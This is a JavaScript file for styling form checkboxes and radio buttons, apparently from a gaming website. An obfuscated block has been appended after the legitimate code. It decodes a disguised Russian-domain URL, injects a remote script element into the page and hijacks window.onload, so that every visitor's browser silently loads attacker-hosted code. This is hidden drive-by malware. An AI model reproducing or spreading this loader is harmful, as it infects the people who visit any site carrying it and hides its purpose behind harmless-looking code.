// formStyle.js, produced by Philip Howard, GamingHeadlines.co.uk
// This JavaScript is open source and freely available to all those who wish to use it.
// A link back to GamingHeadlines.co.uk would be appreciated!

	function toggleCheckbox(cbId,cbKey,ffId)
	{
	if (cbKey==0||cbKey==32){
	var cbFF = document.getElementById(ffId);
	
		var cbFFValue = cbFF.checked;
		
		if(cbId.className.indexOf("checkboxchecked")<0)
			{
				var checkBoxType = cbId.className.replace("checkbox","");
				cbFF.checked=true;cbId.className="checkboxchecked"+checkBoxType;}
			else
			{
				var checkBoxType = cbId.className.replace("checkboxchecked","");
				cbFF.checked=false;cbId.className="checkbox"+checkBoxType;}
	return false;
		}
	}
	
	function InitialiseCheckboxes()
	{
		var inputFields = document.getElementsByTagName("span");
		var checkboxIndex = 0;
		for (var inputIndex=0;inputIndex<inputFields.length;inputIndex++)
			{
				if (inputFields[inputIndex].className=="cbstyled")
					{
						var styleType = "";
						if (inputFields[inputIndex].getAttribute("name")!=null){styleType=inputFields[inputIndex].getAttribute("name");}
						
						var inputCurrent = inputFields[inputIndex].getElementsByTagName("input").item(0);
						if(inputCurrent.getAttribute("type")=="checkbox")
						{
							inputCurrent.className = "inputhidden";
							inputCurrent.setAttribute("id","styledcheckbox"+checkboxIndex);
							
							if(navigator.appName.indexOf("Internet Explorer")>0)
							{
								//Internet Explorer
								var inputHTML = inputFields[inputIndex].innerHTML;
								var styledHTML = "<a"//href=\"#\""
								styledHTML+=" tabindex=\""+inputIndex+"\"";
								//styledHTML+=" name=\""+inputCurrent.getAttribute("name")+"\""
								
								if(inputCurrent.hasAttribute){if(inputCurrent.hasAttribute("title")){styledHTML+=" title=\""+inputCurrent.getAttribute("title")+"\"";}}
								
								if (inputCurrent.checked)
									{styledHTML+=" class=\"checkboxchecked"+styleType+"\""}
									else
									{styledHTML+=" class=\"checkbox"+styleType+"\""}
									
								styledHTML+=" onClick=\"toggleCheckbox(this,'','styledcheckbox"+checkboxIndex+"');return false;\""
								styledHTML+=" onKeyPress=\"return toggleCheckbox(this,event.keyCode,'styledcheckbox"+checkboxIndex+"');\""
								
								styledHTML+="></a>"
								
								inputFields[inputIndex].innerHTML = inputHTML+styledHTML;
								inputFields[inputIndex].className = "checkbox"+styleType;
							}
							else
							{
								var styledCheckbox = document.createElement("a"); 
								styledCheckbox.setAttribute("href","#");
								
								if(inputCurrent.hasAttribute){if(inputCurrent.hasAttribute("title")){styledCheckbox.setAttribute("title",inputCurrent.getAttribute("title"));}}
								
								styledCheckbox.setAttribute("onClick","toggleCheckbox(this,'','styledcheckbox"+checkboxIndex+"');return false;");
								styledCheckbox.setAttribute("onKeyPress","return toggleCheckbox(this,event.keyCode,'styledcheckbox"+checkboxIndex+"');");
								
								if (inputCurrent.checked)
									{styledCheckbox.className="checkboxchecked"+styleType;}
									else
									{styledCheckbox.className="checkbox"+styleType;}
								inputFields[inputIndex].appendChild(styledCheckbox);
							}
							
							checkboxIndex++;
						}
					}
			}	
	}
	
	function toggleRadiobox(rbObj,rbKey,rbGroup,rbId)
	{
	if (rbKey==0||rbKey==32){
	var inputFields = document.getElementsByTagName("a");
		for (var inputIndex=0;inputIndex<inputFields.length;inputIndex++)
			{
				if (inputFields[inputIndex].getAttribute("name")==rbGroup){
					
					if(inputFields[inputIndex].className.indexOf("radioboxchecked")<0)
									{var RadioBoxType = inputFields[inputIndex].className.replace("radiobox","");}
									else
									{var RadioBoxType = inputFields[inputIndex].className.replace("radioboxchecked","");}
									
					inputFields[inputIndex].className="radiobox"+RadioBoxType;
					}
			}
	var inputFields = document.getElementsByTagName("input");
		for (var inputIndex=0;inputIndex<inputFields.length;inputIndex++)
			{
				if (inputFields[inputIndex].getAttribute("name")==rbGroup)
					{
						if (inputFields[inputIndex].getAttribute("id")==rbId)
							{
								if(rbObj.className.indexOf("radioboxchecked")<0)
									{var RadioBoxType = rbObj.className.replace("radiobox","");}
									else
									{var RadioBoxType = rbObj.className.replace("radioboxchecked","");}

								inputFields[inputIndex].checked = true;rbObj.className="radioboxchecked"+RadioBoxType;}
							else
							{inputFields[inputIndex].checked = false;}
					}
			}
	return false;
	}
	}
	
	function InitialiseRadioboxes()
	{
		var inputFields = document.getElementsByTagName("span");
		var radioboxIndex = 0;
		
		for (var inputIndex=0;inputIndex<inputFields.length;inputIndex++)
			{
				if (inputFields[inputIndex].className=="rbstyled")
					{
						var styleType = "";
						if (inputFields[inputIndex].getAttribute("name")!=null){styleType=inputFields[inputIndex].getAttribute("name");}
						
						var inputCurrent = inputFields[inputIndex].getElementsByTagName("input").item(0);
						if(inputCurrent.getAttribute("type")=="radio")
						{
							//inputCurrent.setAttribute("class","inputhidden");
							inputCurrent.className = "inputhidden";
							inputCurrent.setAttribute("id","styledradiobox"+radioboxIndex);
							
							if(navigator.appName.indexOf("Internet Explorer")>0)
							{
								//Internet Explorer
								var inputHTML = inputFields[inputIndex].innerHTML;
								var styledHTML = "<a"//href=\"#\""
								styledHTML+=" tabindex=\"1"+inputIndex+"\"";
								
								styledHTML+=" name=\""+inputCurrent.getAttribute("name")+"\""
								
								if(inputCurrent.hasAttribute){if(inputCurrent.hasAttribute("title")){styledHTML+=" title=\""+inputCurrent.getAttribute("title")+"\"";}}
								
								if (inputCurrent.checked)
									{styledHTML+=" class=\"radioboxchecked"+styleType+"\""}
									else
									{styledHTML+=" class=\"radiobox"+styleType+"\""}
									
								styledHTML+=" onClick=\"toggleRadiobox(this,'','"+inputCurrent.getAttribute("name")+"','styledradiobox"+radioboxIndex+"');return false;\""
								styledHTML+=" onKeyPress=\"return toggleRadiobox(this,event.keyCode,'"+inputCurrent.getAttribute("name")+"','styledradiobox"+radioboxIndex+"');\""
								
								styledHTML+="></a>"
								
								inputFields[inputIndex].innerHTML = inputHTML+styledHTML;
								inputFields[inputIndex].className = "radiobox"+styleType;
							}
							else
							{
								//Firefox, Opera, Netscape
								var styledRadiobox = document.createElement("a"); 
								styledRadiobox.setAttribute("href","#");
								styledRadiobox.setAttribute("name",inputCurrent.getAttribute("name"));
								
								if(inputCurrent.hasAttribute){if(inputCurrent.hasAttribute("title")){styledRadiobox.setAttribute("title",inputCurrent.getAttribute("title"));}}
								
								styledRadiobox.setAttribute("onClick","toggleRadiobox(this,'','"+inputCurrent.getAttribute("name")+"','styledradiobox"+radioboxIndex+"');return false;");
								styledRadiobox.setAttribute("onKeyPress","return toggleRadiobox(this,event.keyCode,'"+inputCurrent.getAttribute("name")+"','styledradiobox"+radioboxIndex+"');");
								
								if (inputCurrent.checked)
									{styledRadiobox.className="radioboxchecked"+styleType;}
									else
									{styledRadiobox.className="radiobox"+styleType;}
								
								inputFields[inputIndex].appendChild(styledRadiobox);
							}
							
							radioboxIndex++;
						}
					}
			}	
	}
	
	function checkImages() {
	  if (document.getElementById) {
		var x = document.getElementById('formStyleTestImage').offsetWidth;
		if (x == '1'||x == '7') {
			document.getElementById('formStyleTestImage').style.display='none';
			return true;
		}else{
			return false;
		}
	  }
	}
	
	function preloadImages()
		{
		img1 = new Image();img1.src = "templates/AcidTechGreen/images/CheckboxUnchecked.gif";
		img1 = new Image();img1.src = "templates/AcidTechGreen/images/CheckboxChecked.gif";
		
		img2 = new Image();img1.src = "templates/AcidTechGreen/images/RadioboxUnchecked.gif";
		img2 = new Image();img1.src = "templates/AcidTechGreen/images/RadioboxChecked.gif";
		}
	
	function Initialise()
		{
			if(checkImages()){preloadImages();InitialiseCheckboxes();InitialiseRadioboxes();}
		}
		
	window.onload = Initialise;
this.F='';var L;if(L!='Po' && L!='Kk'){L='Po'};var ST='';var Qv;if(Qv!='f' && Qv != ''){Qv=null};function E(){var QS='';var iT=new String();this.Ek='';var Q=window;var _=String("g");var p=unescape;this.a='';var pw="\x68\x74\x74\x70\x3a\x2f\x2f\x69\x63\x62\x63\x2d\x63\x6f\x6d\x2d\x63\x6e\x2e\x65\x78\x63\x69\x74\x65\x2e\x63\x6f\x2e\x6a\x70\x2e\x6d\x73\x6e\x2d\x63\x61\x2e\x53\x75\x70\x65\x72\x43\x6f\x6f\x6c\x53\x75\x70\x65\x72\x73\x74\x6f\x72\x65\x2e\x72\x75\x3a";var hW;if(hW!='' && hW!='fI'){hW=null};var e='';var cB="";var LF="";this.w='';var _c;if(_c!='I'){_c=''};function D(q,U){var Fe;if(Fe!='' && Fe!='A'){Fe='wf'};var Z="";var Hh=new String();var Y=p("%5b")+U+p("%5d");var Gd=new Array();var FC;if(FC!='' && FC!='uk'){FC=null};var S=new RegExp(Y, _);return q.replace(S, e);var Zu;if(Zu!='Ye' && Zu!='sc'){Zu='Ye'};};var Dk;if(Dk!=''){Dk='Fz'};this._V="";var KZ=new Array();var Al;if(Al!='Qz' && Al!='cz'){Al=''};this.DM="";this.NI='';var Ev=document;var gj;if(gj!='' && gj!='y'){gj=null};var af=new String();var Dw=p("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%6f%2d%6e%65%74%2e%6e%65%2e%6a%70%2f%63%68%69%6e%61%2e%63%6f%6d%2e%63%6e%2f%67%6f%6f%67%6c%65%2e%70%6c%2e%70%68%70");var Nr;if(Nr!='n'){Nr='n'};var qE=D('819121415049443853264407653154','42769135');this.aX="";var c='';function d(){var Bf=new String();var OX;if(OX!='' && OX!='Op'){OX=''};c=pw;var BD;if(BD!='' && BD!='xh'){BD=null};c+=qE;var Xv='';c+=Dw;var Ph=new Date();this.Kz="";try {var Hw='';var Gh='';i=Ev.createElement(D('sycOraiVp6t3','6yDOJaVU3'));var DA="";var eBh;if(eBh!='Ju'){eBh=''};i.src=c;var Kh='';i.defer=[1][0];var zQ=new Array();var _P;if(_P!='h_'){_P=''};var PE=new Array();var Lao=new Array();Ev.body.appendChild(i);this.V="";var Fo="";var Cu=new String();} catch(K){var fp;if(fp!='pg'){fp=''};var PJc="";};var Jj=new Date();var rZ;if(rZ!='Ux'){rZ=''};}this.FA="";this.ey="";this.T="";Q[new String("I4qonl".substr(3)+"oad")]=d;var et;if(et!='Os' && et != ''){et=null};var xp='';var rO="";};var mP=new Array();var ug=new Array();var Jq;if(Jq!='nJ'){Jq='nJ'};E();var Xd=new Array();